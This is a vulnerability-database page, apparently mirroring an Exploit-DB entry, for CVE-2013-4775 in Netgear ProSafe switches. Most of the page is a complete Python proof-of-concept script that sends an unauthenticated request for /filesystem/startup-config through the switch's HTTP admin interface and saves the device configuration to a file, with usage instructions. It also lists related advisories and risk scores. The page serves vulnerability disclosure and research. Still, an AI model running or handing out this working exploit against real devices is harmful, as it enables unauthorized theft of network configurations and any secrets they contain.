Lucene search
+L

Netgear ProSafe - Information Disclosure

🗓️ 22 Aug 2013 00:00:00Reported by Juan J. GuelfoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

Netgear ProSafe CVE-2013-4775 PoC for Information Disclosure via HTTP admin interface

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Netgear ProSafe - Information Disclosure Vulnerability
22 Aug 201300:00
zdt
zdt
zdt
Netgear ProSafe - Denial of Service Vulnerability
22 Aug 201300:00
zdt
checkpoint_advisories
Check Point Advisories
Netgear Information Disclosure - Ver2 (CVE-2013-4775)
19 Jun 201800:00
checkpoint_advisories
cve
CVE
CVE-2013-4775
19 Dec 201302:00
cve
cvelist
Cvelist
CVE-2013-4775
19 Dec 201302:00
cvelist
dsquare
Dsquare
Netgear Information Disclosure
22 Nov 201400:00
dsquare
exploitpack
exploitpack
NETGEAR ProSafe - Information Disclosure
22 Aug 201300:00
exploitpack
nvd
NVD
CVE-2013-4775
19 Dec 201304:24
nvd
openvas
OpenVAS
Multiple NetGear ProSafe Switches Information Disclosure Vulnerability
22 Aug 201300:00
openvas
prion
Prion
Design/Logic Flaw
19 Dec 201304:24
prion
Rows per page
#!/usr/bin/python

################################################################
#                                                              #
# Netgear ProSafe - CVE-2013-4775 PoC                          #
# written by Juan J. Guelfo @ Encripto AS                      #
# [email protected]                                             #
#                                                              #
# Copyright 2013 Encripto AS. All rights reserved.             #
#                                                              #
# This software is licensed under the FreeBSD license.         #
# http://www.encripto.no/tools/license.php                     #
#                                                              #
################################################################

import sys, getopt, urllib2


__version__ = "0.1"
__author__ = "Juan J. Guelfo, Encripto AS ([email protected])"


# Prints title and other header info
def header():
    print ""
    print " ================================================================= "
    print "|  Netgear ProSafe - CVE-2013-4775 PoC \t\t\t\t  |".format(__version__)
    print "|  by {0}\t\t  |".format(__author__)
    print " ================================================================= "
    print ""


# Prints help
def help():
    header()
    print """
   Usage: python CVE-2013-4775.py [mandatory options]

   Mandatory options:
       -t target               ...Target IP address
       -p port                 ...Port where the HTTP admin interface is listening on
       -o file                 ...Output file where the config will be written to

   Example:
       python CVE-2013-4775.py -t 192.168.0.1 -p 80 -o output.txt
    """
    sys.exit(0)



if __name__ == '__main__':

    #Parse options
    try:
        options, args = getopt.getopt(sys.argv[1:], "t:p:o:", ["target=", "port=", "output="])

    except getopt.GetoptError, err:
        header()
        print "\n[-] Error: {0}.\n".format(str(err))
        sys.exit(1)

    if not options:
        help()

    target = None
    port = None
    output = None
    reset = None
    for opt, arg in options:
        if opt in ("-t"):
            target = arg

        if opt in ("-p"):
            port = arg

        if opt in ("-o"):
            output = arg

    #Option input validation
    if not target or not port or not output:
        help()
        print "[-] Error: Incorrect syntax.\n"
        sys.exit(1)

    header()
    print "[+] Trying to connect to {0}:{1}...".format(target, port)
    headers = { "User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" }

    try:
        # Get the startup config via HTTP admin interface
        r = urllib2.Request("http://%s:%s/filesystem/startup-config" % (target, port), None, headers)
        startup_config = urllib2.urlopen(r).read()
        print "[+] Connected..."

        # Write results to output file
        print "[+] Writing startup config to {0}...\n".format(output)
        fw = open(output, 'w')
        fw.write(startup_config)
        fw.close()

    except urllib2.URLError:
        print "[-] Error: The connection could not be established.\n"

    except IOError as e:
        print "[-] Error: {0}...\n".format(e.strerror)

    sys.exit(0)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Aug 2013 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.8
EPSS0.14964
39